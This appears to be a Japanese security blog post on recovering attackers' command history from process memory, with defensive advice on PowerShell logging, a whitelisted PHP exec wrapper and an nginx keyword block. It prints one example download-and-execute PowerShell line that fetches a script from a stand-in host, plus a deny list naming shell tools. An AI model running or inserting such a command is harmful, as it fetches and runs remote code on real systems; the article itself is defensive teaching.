現場の最前線から:メモリに残された「攻撃者の爪痕」を暴く技術
インシデントレスポンスの現場で、攻撃者が侵入した痕跡を探すとき、真っ先に確認するのはディスク上のログではありません。彼らが何を考え、どのコマンドを叩き、次に何をしようとしていたのか。その「生々しい思考」は、プロセスのメモリ上に、ひっそりと、しかし確実に残っています。
今日は、攻撃者がシェルを奪取した後に実行する「コマンド履歴」の回収と、それを防ぐための泥臭い防御策について話をしましょう。
—
1. なぜメモリフォレンジックが必要なのか
攻撃者は侵入後、historyコマンドを消去したり、ログを改ざんしたりします。しかし、彼らが使用している powershell.exe や cmd.exe、あるいはそれらを制御する conhost.exe のメモリ空間までは、完全には消去できません。
メモリダンプから strings コマンドで文字列を抜き出す際、単に grep するだけでは不十分です。プロセスがアクティブな間、コマンド履歴は構造体の中に保持されており、ここを解析できれば、攻撃者が実行した「隠蔽前のコマンド」が手に取るようにわかります。
攻撃者の狙い:メモリに潜む「生データ」
攻撃者は、メモリ上でコマンド履歴を管理するリングバッファを悪用します。彼らは、OSのAPIを叩いて履歴を操作するのではなく、メモリ上の特定のポインタを書き換えて履歴を消去しようとしますが、その過程で「過去の痕跡」が断片化して残ることが多々あります。我々アナリストにとって、この断片こそが犯人を特定する鍵なのです。
—
2. 攻撃リスクのシミュレーション(PoCの視点)
攻撃者がPowerShellを使用して悪意のあるペイロードをダウンロードする際、以下のようなコマンドを打ちます。
# 攻撃者が実行する典型的な難読化コマンドの例
powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/mal.ps1')"
このコマンドは、実行終了後も conhost.exe や PowerShell のメモリ上に断片として残ります。攻撃者はこれを防ぐために Clear-History を使いますが、それはあくまで「履歴ファイル」を消しているだけで、プロセス実行中のメモリ構造までは破壊しきれません。
—
3. 防御の要:セキュアな運用と実装のルール
「メモリを読まれないようにする」ことは不可能ですが、「メモリにコマンドを残させない」または「コマンド実行を監視・制限する」ことは可能です。
対策1:PowerShellのログを「不可逆」にする
Windows環境であれば、PowerShellの「モジュールロギング」と「Script Block Logging」をGPOで強制有効化してください。これにより、メモリ上のコマンドが実行される前に、イベントログとしてセキュアな別領域(SIEMなど)へ転送されます。
対策2:Webアプリ開発における「コマンド実行」の排除
PHPなどで system() や exec() を使うのは、今すぐやめるべきです。もし外部コマンドが必要な場合でも、入力を徹底的にバリデーションし、プロセスを分離してください。
【セキュアな実装サンプル:PHP】
外部コマンドを直接実行せず、ホワイトリスト方式で制御する実装例です。
<?php
/**
* 外部コマンドの実行を安全に制御するラッパー関数
*/
function safe_execute($command_key, $args) {
// 許可されたコマンドのみを定義したホワイトリスト
$allowed_commands = [
'ping' => '/usr/bin/ping -c 3',
'dig' => '/usr/bin/dig'
];
if (!array_key_exists($command_key, $allowed_commands)) {
throw new Exception("不正なコマンド要求です");
}
// 引数をシェルエスケープして注入攻撃を防ぐ
$safe_args = array_map('escapeshellarg', $args);
$full_command = $allowed_commands[$command_key] . ' ' . implode(' ', $safe_args);
// 実行結果を安全に取得
exec($full_command, $output, $return_var);
return $output;
}
?>
対策3:Nginxでの不審なリクエスト遮断(WAF設定)
Webサーバーへの攻撃を未然に防ぐため、powershell や wget といったキーワードを含むリクエストをブロックする設定を nginx.conf に追加します。
# /etc/nginx/conf.d/security.conf
# 攻撃者がよく使うキーワードを検出して403を返す
location ~* (powershell|cmd\.exe|wget|curl) {
deny all;
return 403;
}
—
結論:技術は「信頼」を補完するためにある
メモリフォレンジックは、攻撃者が残した「最後のメッセージ」を読み解く作業です。しかし、我々エンジニアの本来の使命は、そうした高度な調査を必要としない「堅牢なシステム」を作ることです。
コードを書くとき、サーバーを構築するとき、常に自問してください。
「もし今、このプロセスがメモリダンプされたら、恥ずかしい文字列や危険なコマンドは残っていないか?」
この意識こそが、インシデントに強いエンジニアと、そうでないエンジニアの分かれ道です。泥臭いログの解析も大切ですが、まずはコードの安全性を高めることから始めましょう。それが、皆さんの開発するWebアプリを、そして組織を守る最大の盾となるはずです。
コメント